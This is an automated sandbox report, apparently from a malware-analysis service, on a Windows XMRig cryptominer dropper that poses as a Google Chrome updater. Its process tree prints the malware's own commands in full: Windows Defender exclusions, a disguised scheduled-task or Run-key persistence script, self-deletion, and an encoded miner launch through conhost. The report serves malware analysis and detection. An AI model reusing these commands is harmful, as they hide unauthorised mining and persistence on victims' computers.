xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1798s
max time network
1801s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3080 created 3552	3080	UU4Ddwqm5zcuLzGR.exe	48
PID 3080 created 3552	3080	UU4Ddwqm5zcuLzGR.exe	48
PID 3080 created 3552	3080	UU4Ddwqm5zcuLzGR.exe	48
PID 3080 created 3552	3080	UU4Ddwqm5zcuLzGR.exe	48
PID 4016 created 3552	4016	updater.exe	48
PID 4016 created 3552	4016	updater.exe	48
PID 4016 created 3552	4016	updater.exe	48
PID 4016 created 3552	4016	updater.exe	48
PID 2496 created 3552	2496	conhost.exe	48
PID 4016 created 3552	4016	updater.exe	48

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral26/memory/3916-129-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-133-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-135-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-139-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-141-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-143-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-145-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-147-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-149-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-151-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-153-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-155-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-157-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-159-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-161-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-163-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-165-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-167-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-169-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-171-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-173-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-175-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-177-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-179-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-181-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-183-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-185-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-187-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig
behavioral26/memory/3916-189-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4016	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral26/memory/3916-125-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-129-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-133-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-135-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-139-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-141-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-143-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-145-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-147-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-149-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-151-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-153-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-155-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-157-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-159-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-161-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-163-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-165-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-167-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-169-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-171-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-173-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-175-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-177-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-179-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-181-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-183-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-185-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-187-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx
behavioral26/memory/3916-189-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4016 set thread context of 2496	4016	updater.exe	116
PID 4016 set thread context of 3916	4016	updater.exe	111

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	UU4Ddwqm5zcuLzGR.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2224	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
3080	UU4Ddwqm5zcuLzGR.exe
3080	UU4Ddwqm5zcuLzGR.exe
540	powershell.exe
540	powershell.exe
3080	UU4Ddwqm5zcuLzGR.exe
3080	UU4Ddwqm5zcuLzGR.exe
4976	powershell.exe
4976	powershell.exe
3080	UU4Ddwqm5zcuLzGR.exe
3080	UU4Ddwqm5zcuLzGR.exe
3080	UU4Ddwqm5zcuLzGR.exe
3080	UU4Ddwqm5zcuLzGR.exe
4056	powershell.exe
4056	powershell.exe
4016	updater.exe
4016	updater.exe
60	powershell.exe
60	powershell.exe
4016	updater.exe
4016	updater.exe
3676	powershell.exe
3676	powershell.exe
4016	updater.exe
4016	updater.exe
4016	updater.exe
4016	updater.exe
2496	conhost.exe
2496	conhost.exe
4016	updater.exe
4016	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
680	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeIncreaseQuotaPrivilege	4976	powershell.exe
Token: SeSecurityPrivilege	4976	powershell.exe
Token: SeTakeOwnershipPrivilege	4976	powershell.exe
Token: SeLoadDriverPrivilege	4976	powershell.exe
Token: SeSystemProfilePrivilege	4976	powershell.exe
Token: SeSystemtimePrivilege	4976	powershell.exe
Token: SeProfSingleProcessPrivilege	4976	powershell.exe
Token: SeIncBasePriorityPrivilege	4976	powershell.exe
Token: SeCreatePagefilePrivilege	4976	powershell.exe
Token: SeBackupPrivilege	4976	powershell.exe
Token: SeRestorePrivilege	4976	powershell.exe
Token: SeShutdownPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeSystemEnvironmentPrivilege	4976	powershell.exe
Token: SeRemoteShutdownPrivilege	4976	powershell.exe
Token: SeUndockPrivilege	4976	powershell.exe
Token: SeManageVolumePrivilege	4976	powershell.exe
Token: 33	4976	powershell.exe
Token: 34	4976	powershell.exe
Token: 35	4976	powershell.exe
Token: 36	4976	powershell.exe
Token: SeIncreaseQuotaPrivilege	4976	powershell.exe
Token: SeSecurityPrivilege	4976	powershell.exe
Token: SeTakeOwnershipPrivilege	4976	powershell.exe
Token: SeLoadDriverPrivilege	4976	powershell.exe
Token: SeSystemProfilePrivilege	4976	powershell.exe
Token: SeSystemtimePrivilege	4976	powershell.exe
Token: SeProfSingleProcessPrivilege	4976	powershell.exe
Token: SeIncBasePriorityPrivilege	4976	powershell.exe
Token: SeCreatePagefilePrivilege	4976	powershell.exe
Token: SeBackupPrivilege	4976	powershell.exe
Token: SeRestorePrivilege	4976	powershell.exe
Token: SeShutdownPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeSystemEnvironmentPrivilege	4976	powershell.exe
Token: SeRemoteShutdownPrivilege	4976	powershell.exe
Token: SeUndockPrivilege	4976	powershell.exe
Token: SeManageVolumePrivilege	4976	powershell.exe
Token: 33	4976	powershell.exe
Token: 34	4976	powershell.exe
Token: 35	4976	powershell.exe
Token: 36	4976	powershell.exe
Token: SeIncreaseQuotaPrivilege	4976	powershell.exe
Token: SeSecurityPrivilege	4976	powershell.exe
Token: SeTakeOwnershipPrivilege	4976	powershell.exe
Token: SeLoadDriverPrivilege	4976	powershell.exe
Token: SeSystemProfilePrivilege	4976	powershell.exe
Token: SeSystemtimePrivilege	4976	powershell.exe
Token: SeProfSingleProcessPrivilege	4976	powershell.exe
Token: SeIncBasePriorityPrivilege	4976	powershell.exe
Token: SeCreatePagefilePrivilege	4976	powershell.exe
Token: SeBackupPrivilege	4976	powershell.exe
Token: SeRestorePrivilege	4976	powershell.exe
Token: SeShutdownPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeSystemEnvironmentPrivilege	4976	powershell.exe
Token: SeRemoteShutdownPrivilege	4976	powershell.exe
Token: SeUndockPrivilege	4976	powershell.exe
Token: SeManageVolumePrivilege	4976	powershell.exe
Token: 33	4976	powershell.exe
Token: 34	4976	powershell.exe
Token: 35	4976	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2308 wrote to memory of 396	2308	cmd.exe	99
PID 2308 wrote to memory of 396	2308	cmd.exe	99
PID 4056 wrote to memory of 920	4056	powershell.exe	100
PID 4056 wrote to memory of 920	4056	powershell.exe	100
PID 4016 wrote to memory of 2496	4016	updater.exe	116
PID 4392 wrote to memory of 2224	4392	cmd.exe	112
PID 4392 wrote to memory of 2224	4392	cmd.exe	112
PID 4016 wrote to memory of 3916	4016	updater.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3552
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4976
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:60
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3676
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3916
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1180
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4392
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2496

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:396

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:920

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4016

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:2224

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:2168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
PID:3604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 18KB
SHA256 1a1152098e009013355410745d5f56dba0245a73d4f1a88e2c2b43bf6ed3bac0
MD5 3a2693c544d68166d0a1e006c267774f
SHA1 79cf439c5b5b12341b7f44d6cf167a83daa129c3
SHA512 3c760722bec1cedefc7ab68a5dd5ac167807498bb9d4c9a5ac1ae1f2f7c7ac593d130edef2e9dc21069dd2f613c8a9aecf770785d52858c53b2584a6904533e7
SSDEEP 384:wSz/ROxnE88XJJvc4mOFBinXYfsOn8vTWj5pk/uEncgShTkn0etd:w80qZz2da1pk/0Rm
MD5 SHA1 SHA512 SSDEEP

